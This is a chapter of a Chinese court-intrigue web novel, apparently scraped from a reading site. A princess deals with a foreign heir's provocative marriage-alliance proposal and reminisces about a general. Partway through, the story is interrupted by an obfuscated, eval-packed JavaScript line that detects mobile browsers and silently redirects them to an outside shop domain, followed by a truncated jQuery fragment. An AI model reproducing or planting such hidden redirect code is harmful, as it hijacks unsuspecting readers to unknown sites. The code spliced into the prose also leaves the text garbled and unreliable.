郇寰冷笑一声:“继续说。”
“事情闹得很大,圣上都惊动了,呼延炳就说,大楚和义律要成一家人了,他们理应替圣上分忧,他就提议让……让兖国公主嫁过去,让您娶长宁公主,至于公主怀着的孩子他们也会视若己出……”
冬至说着说着没了声音,就见郇寰靠着车厢,阖上双眼,已然是又被气得心潮汹涌,不禁担心他的身体:“主子……您别气,这就是玩笑话,圣上那么疼爱公主殿下,殿下又怀了身子,刚从南边回来,于情于理都不会做这样荒唐的决定……”
“是,朝廷是不会。”郇寰睁开眼,眼中波涛渐熄,可静水无澜,越发深沉,看得冬至都有些怕了,在疾风骤雨来临前不由得缩了缩脖子,谁料郇寰从牙缝里只吐出了一句:“呼延炳这个蠢的。”
冬至一愣。
郇寰冷笑:“他一个胡人如何知道这些?谁敢告诉这些事?明知不可能的事情偏偏扯出来当笑话,意欲何为?”
冬至背上一凉。
郇寰一把拉开车门,迎着逐渐闷热起来的夏风,刚想将心中憋了许久的火气吼了出来,就见芳林门近在眼前,行人熙攘,而驾车的亲卫决然无辜,他只能闷闷地吩咐:“回城,去赵王府。”
“天下哪有当爹的真不在乎孩子?”临川笑嘻嘻地啃着桃子。
“没有吗?”
沈明枳想到了圣上。
对于东宫太子来说,圣上当真是一个慈爱的父亲。给尽了太子尊贵和体面过后,让其他兄弟一满十四岁就一穷二白地去就藩,还鼓励他在朝中培植自己的势力、与重臣结交,更又放出话来:“非皇后子不为储,非储不为新帝。”
虽然太子死后,皇子长成,也都回来了。
因为圣上喜欢太子,故而爱屋及乌也看重、提拔东宫的幕僚,诸如梅如故、乔致用、韦不决等,皆发迹于此,至于沈明枳从小到大的荣宠,大概也归功于他。
可魏王、赵王、燕王、吴王,他们不都是圣上的儿子吗?长宁、长乐、长荣、长华,她们不也是圣上的女儿吗?天下当爹的真的都在乎孩子吗?他们只在乎他们喜欢的孩子,只在乎能给他们脸上增光的孩子,只在乎乖巧听话不用费心的孩子。
这么看来,他们其实只在乎他们自己。
“有的话应该是畜生。”临川扔了桃核,用帕子擦了一把脸,直勾勾地看着花树掩映之中,紧紧相拥的年轻男女。
沈明枳将胡思乱想都搁置了下来,“那张四郎应该不是了。”
临川摊摊手:“诶,谁知道呢?我可怜的长荣妹妹那么小他都下得去手,啧啧,就怕有胆偷腥没胆子负责。”
沈明枳被她这话一激,想起了一些事情,“林十郎也那么小,你不也下得去手。”
听见沈明枳嘲讽她最近又忽悠了的一个小郎君,临川撇了撇嘴,不自然地转移话题:“话说,这都几月了,长荣这丫头还打算捂到何时啊?”
“当然要捂到捂不了的时候。”
说话间,身后有人穿花拨叶走了过来,两个人猛回头,来者竟然也被他们吓了一跳,“果然是你。”
那生涩的语气,闪耀的淡色瞳孔,微卷的头发,麦色的肌肤,让沈明枳一下就认出来人是当时在宫里匆匆一瞥的义律世子呼延炳。
沈明枳笑着一礼退开几步,高声道:“原来是义律世子,失礼了。”
不远处的一对鸳鸯顿时扑棱。
在化隆的几个月,呼延炳已经认识了这位臭名昭著,不,大名鼎鼎的临川郡主,入乡随俗地和两个人见礼:“兖国公主安,临川郡主安。”
临川很戒备,“世子今日有空来会芳池赏景啊。”
呼延炳虽然汉话说得不怎么样,但理解力很好,“是啊,我来会芳。”
然后目光灼灼地注视沈明枳。
沈明枳一惊,心中泛起了恶心。
她有自知之明,自己哪里都算不得出众,除了南巡一趟身份越发贵得吓人,她一个已婚女子何德何能能引来义律世子这样赤裸裸的目光。
临川直想撕了呼延炳,他这么一说就搞得像自己放火烧到了沈明枳身上。她很怕沈明枳发火,也很想逃之夭夭,但她更怕撂下沈明枳会惹上数不清的麻烦,故而她强作镇定,用皮笑肉不笑的脸挡住呼延炳热烈的目光,“哦,世子好兴致,那我们就不打扰了,您请便,务必要好好赏,毕竟大西北漫天沙子可没有这样的景色。”
随即,她刚要拉起沈明枳的手开溜,就见沈明枳拢了拢袖子,不着痕迹地将手挪开了她一手可抓的范围内,又听呼延炳大笑两声:“是!西北可见不到这样难得的好景色!”
临川咬牙,用力咳了两声想要暗示沈明枳,结果沈明枳居然扫了自己一眼,神色淡淡地打发:“临川,你嗓子不好,去休息会儿吧,别把嗓子咳坏了,我和呼延世子说几句话。”
迎着呼延炳错愕又转为兴奋的眼神,沈明枳从临川身后走了过去,目送心中喷火的临川悻悻而去,随后朝呼延炳微笑:“世子贵干?”
呼延炳先是怔愣一会儿,然后抚掌大笑:“你和你姐姐很像啊!”
发现沈明枳的眼神冰冻,呼延炳笑得更欢畅:“我和她第一次见面的时候,你们说的话、神情,一模一样!”
沈明枳挑眉。
这世子应该比自己还要小两三岁,自己都快忘了大姐姐生前的音容笑貌,他当时才多大,能记得多少?且难道他满化隆地打探自己,就是想拿大姐姐的旧事来羞辱自己?
见沈明枳不说话,呼延炳继续道:“这几天我可一直都在找你呢。”
沈明枳不动如山。
“听说这些天,贵朝为着和亲公主的人选争吵不断,我就说,有一个皆大欢喜的好方法。”
沈明枳一抬眼,这是她没听说过的新鲜事。
呼延炳大笑:“我说让兖国公主嫁过来,那个什劳子暴脾气公主嫁给化隆城赫赫有名的郇侯,郇侯本事大,再爆的脾气都压得住,这样义律高兴,你们大楚也高兴。”
一息。
两息。
三息。
沈明枳错愕挑眉。
这呼延炳莫不是是个傻的吧?
他能洞悉这些往事简直是痴人说梦,明摆着是有人唆使;而他没来由胡闹一通于义律毫无裨益,是个脑子清醒的都不会甘心给人当枪使还乐颠颠不知所以。
沈明枳凝神。
她与寇妃等糊涂女人结了不少梁子,现在因为南巡的功劳在圣上面前越发得宠,赵王一派也借机水涨船高,就在一切欣欣向荣的时候,郇寰和长宁之间爆了点“丑闻”,让大着肚子的自己入了茶余饭后的闲话,重伤自己与赵王派的同盟的离间之意轻易实现。
而呼延炳口中的“毁婚另嫁”,即让沈明枳和亲而成全长宁之事,则是将民心舆情统统推至了高潮。沈明枳觉得,这几乎就是在隐射长荣、张四郎和长宁的三角之事,是旨在毁了长宁和张四郎的婚事而要成全怀有身孕的长荣,是要送长宁去和亲,是在为此造势。
可长荣之事,除了沈明枳自己和一意促成的临川,还有谁知道?
摆明就是魏王手笔。
但这就说不通了,哪怕长荣不必和亲,长宁被闹得声名狼藉,怎么看该西出阳关的也是成天无忧无虑的长乐啊?难道他们还有什么后手留中未发?不过最让她担心的不是这个,而是临川办事,结果消息漏给了魏王,若不是她手底不严,那就是魏王本身手眼通天。
无论如何,这都不是一件好事。
两耳不闻城中事的沈明枳,被迫回城。
当晚临川撅着嘴要一路相送,却被沈明枳用“锦麟卫神出鬼没”给恫吓了回去。倒不是她不想临川陪她,也不是考虑到临川一个人大晚上的不安全,郡主府上的护卫配置可比亲王,再加上临川的这个性子,良家男子才是最不安全的那些个。
沈明枳只是想静一静。
“那好像是陆都督。”
“真不愧是他啊,比三年前还要俊呢。”
夏至和月珰正坐在车厢外,低低的谈笑声顺着门帘流了进来,流入了静心凝神着的沈明枳的耳朵。
陆微这个名字就如同一粒石子投入了沈明枳的心潭,荡漾起一圈涟漪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514329|142272||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的思绪被这样的惊扰骤然拉远。
沈明枳记得当年,撞破宁大郎和华家妹妹山盟海誓、私定终身的人,就是他陆微。
说起来,陆微也是个可怜人,当年被自己和临川、辛莘推了出来挡了枪,而这位陆都督又是个实在人,被坑了还闷声不响,硬生生受了宁家、华家的诸番为难。
当初,最先发现这对痴男怨女的人,还是最爱在风流地闲逛的临川。辛莘是个比沈明枳还要促狭的人,成天闲极无聊最爱深挖各家的秘闻逗乐子,从临川处知道了这桩新鲜事便起了劲,暗中留意起他们的动向。
后来沈明枳要选婿,很早就算计上了郇寰,但她和宁晨铎从小交情不错,宁晨铎想尚主,又是个死心眼、是一个实诚得近乎傻的人,沈明枳不忍直接去伤他的心,正为此苦恼,可巧临川和辛莘瞌睡之时递枕头。
然后就是某年灯节,辛莘老早就打听到了华家妹妹的动向,正带了临川和沈明枳打算去“捉奸”,谁料遇见了陆微。陆微不是化隆人,又常年戍守边关,对化隆的街巷并不熟悉,正要向人打听去路,就见辛莘泛了坏水,让小厮扮作路人给陆微递了错误的消息,将人往宁大郎和华家妹妹幽会的小巷引去了。
结果可想而知。
她们捡到了一只香囊,里面存着有情人的红线结发,顺理成章地将事情抖落了出去;而宁大郎呢,只见着了陆微,便认为香囊是到了他的手中、是他将事情宣扬了出去。
沈明枳静静回想那夜的经过。
貌似那夜还出了个插曲,就是临川和辛莘跑出那条黑黢黢的小巷时,把她落在后面了,她也不知怎么踩到了什么东西,摔进了墙凹里,结果发现那墙凹里居然藏了一个人!这可比见鬼还要惊悚。一时情急,那人说了什么话沈明枳记不得了,他的声音也在久远的记忆里逐渐模糊。所幸无伤大雅,没有人出来搅局,事情还是顺利地办成了。
车外夏至的声音再度响起:“陆都督现在挂的是兵部侍郎的职吧?也不知道这回评定要花多久,再久一点,陆家的门槛都要被媒人踩破了吧。”
说罢,夏至和月珰笑了起来。
宁远都督陆微几个月前护送义律使节的队伍入京,现在在兵部挂职。
大楚实行“三轮五换”的制度,武将派遣边关满三年,入京朝仪述职,依据军情军绩,决定是调整驻地或者派还原地,如果被派回原来的驻地,五年后回京朝觐述职,必须调动到其他地方。陆微此次回京就是在东北驻满了三年,而西北靖臣将军窦宙因病滞留,于是就让陆都督绕道西北,暂代本应回京述职的靖臣将军护送使节。
武将在京述职,短则三月,长则一年,还有就此被留在中央不再外派的。在此期间,依照军衔,依次在兵部领侍郎、郎中、员外郎的职,参与皇城兵马司和两都兵马的操练管理,不参与兵部实际的日常运作。
是以,其他五部有一个尚书,左右两个侍郎,而兵部就可能在一时间有一个尚书,五六个侍郎。现今的兵部比较凋敝,只有一个白胡子尚书杜育博、一对左右侍郎负责日常运作,还有一个等待考课的陆侍郎。只是作为封疆大吏的陆都督名气太响了,以至于没几个喊他陆侍郎的。
至于他的名气因何而响,一大部分原因应该是他那的张脸。
那句“露宿桥头”的下半句歌谣里的“露”就是他陆微,但他和歌谣里其他的男子不同,他是个鳏夫。他的夫人很早就去世了,也没有留下一儿半女,是故每回陆微回京述职,就如夏至所说,陆家的门前密密麻麻都是上门说亲的媒人。
陆微出身不好,但他军功过于卓著,人长得也标志,据说性子也极其温柔体贴,最重要的是,他在圣上面前很得脸。所以,即便是现在的风气不佳,依旧以门第出身论婚姻,陆微在化隆的婚恋场上还是极其吃香。
不过陆微丧妻之后从未透露出想要娶妻的意思,但这依旧没有消磨掉媒人的热情。
思绪翻涌,沈明枳又想起了很多人很多事,最后只能再叹一句:陆微当真是极其厚道的人。
“诶?边上那个是谁?该不会是急诏回京的苏都督吧?”